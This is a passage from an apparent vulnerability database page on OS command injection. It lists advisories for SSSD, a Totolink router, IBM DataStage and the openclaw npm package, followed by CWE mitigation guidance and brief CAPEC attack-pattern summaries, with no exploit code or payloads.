"url": "https://rustsec.org/advisories/RUSTSEC-2021-0071.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS command injection in ripgrep"
}
GHSA-G527-G4Q2-57XC
Vulnerability from github – Published: 2021-12-24 00:00 – Updated: 2025-11-03 21:30A flaw was found in SSSD, where the sssctl command was vulnerable to shell command injection via the logs-fetch and cache-expire subcommands. This flaw allows an attacker to trick the root user into running a specially crafted sssctl command, such as via sudo, to gain root access. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.
{
"affected": [],
"aliases": [
"CVE-2021-3621"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-23T21:15:00Z",
"severity": "HIGH"
},
"details": "A flaw was found in SSSD, where the sssctl command was vulnerable to shell command injection via the logs-fetch and cache-expire subcommands. This flaw allows an attacker to trick the root user into running a specially crafted sssctl command, such as via sudo, to gain root access. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.",
"id": "GHSA-g527-g4q2-57xc",
"modified": "2025-11-03T21:30:36Z",
"published": "2021-12-24T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3621"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1975142"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00028.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00008.html"
},
{
"type": "WEB",
"url": "https://sssd.io/release-notes/sssd-2.6.0.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G54X-W5RQ-2789
Vulnerability from github – Published: 2026-03-08 03:30 – Updated: 2026-03-08 03:30A vulnerability was found in Totolink N300RH 6..1c.1353_B20190305. The affected element is the function setWiFiWpsConfig of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.
{
"affected": [],
"aliases": [
"CVE-2026-3696"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-08T01:15:49Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Totolink N300RH 6..1c.1353_B20190305. The affected element is the function setWiFiWpsConfig of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used.",
"id": "GHSA-g54x-w5rq-2789",
"modified": "2026-03-08T03:30:28Z",
"published": "2026-03-08T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3696"
},
{
"type": "WEB",
"url": "https://github.com/JXBbozaihuang/vuln-research/issues/2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.349642"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.349642"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.765681"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G55J-73W9-5PC7
Vulnerability from github – Published: 2026-03-03 21:31 – Updated: 2026-03-03 21:31IBM DataStage on Cloud Pak for Data 5.1.2 through 5.3.0 could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input through the wrapped command component.
{
"affected": [],
"aliases": [
"CVE-2025-13688"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-03T21:15:56Z",
"severity": "MODERATE"
},
"details": "IBM DataStage on Cloud Pak for Data 5.1.2 through 5.3.0 could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input through the wrapped command component.",
"id": "GHSA-g55j-73w9-5pc7",
"modified": "2026-03-03T21:31:16Z",
"published": "2026-03-03T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13688"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7262347"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G55J-C2V4-PJCG
Vulnerability from github – Published: 2026-02-04 20:06 – Updated: 2026-02-06 21:43Summary
An unauthenticated local client could use the Gateway WebSocket API to write config via config.apply and set unsafe cliPath values that were later used for command discovery, enabling command injection as the gateway user.
Impact
A local process on the same machine could execute arbitrary commands as the gateway process user.
Details
config.applyaccepted raw JSON and wrote it to disk after schema validation.cliPathvalues were not constrained to safe executable names/paths.- Command discovery used a shell invocation when resolving executables.
Mitigation
Upgrade to a patched release. If projects cannot upgrade immediately, set gateway.auth and avoid custom cliPath values.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.1.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25593"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T20:06:46Z",
"nvd_published_at": "2026-02-06T21:16:17Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unauthenticated local client could use the Gateway WebSocket API to write config via `config.apply` and set unsafe `cliPath` values that were later used for command discovery, enabling command injection as the gateway user.\n\n### Impact\n\nA local process on the same machine could execute arbitrary commands as the gateway process user.\n\n### Details\n\n- `config.apply` accepted raw JSON and wrote it to disk after schema validation.\n- `cliPath` values were not constrained to safe executable names/paths.\n- Command discovery used a shell invocation when resolving executables.\n\n### Mitigation\n\nUpgrade to a patched release. If projects cannot upgrade immediately, set `gateway.auth` and avoid custom `cliPath` values.",
"id": "GHSA-g55j-c2v4-pjcg",
"modified": "2026-02-06T21:43:41Z",
"published": "2026-02-04T20:06:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g55j-c2v4-pjcg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25593"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw vulnerable to Unauthenticated Local RCE via WebSocket config.apply"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.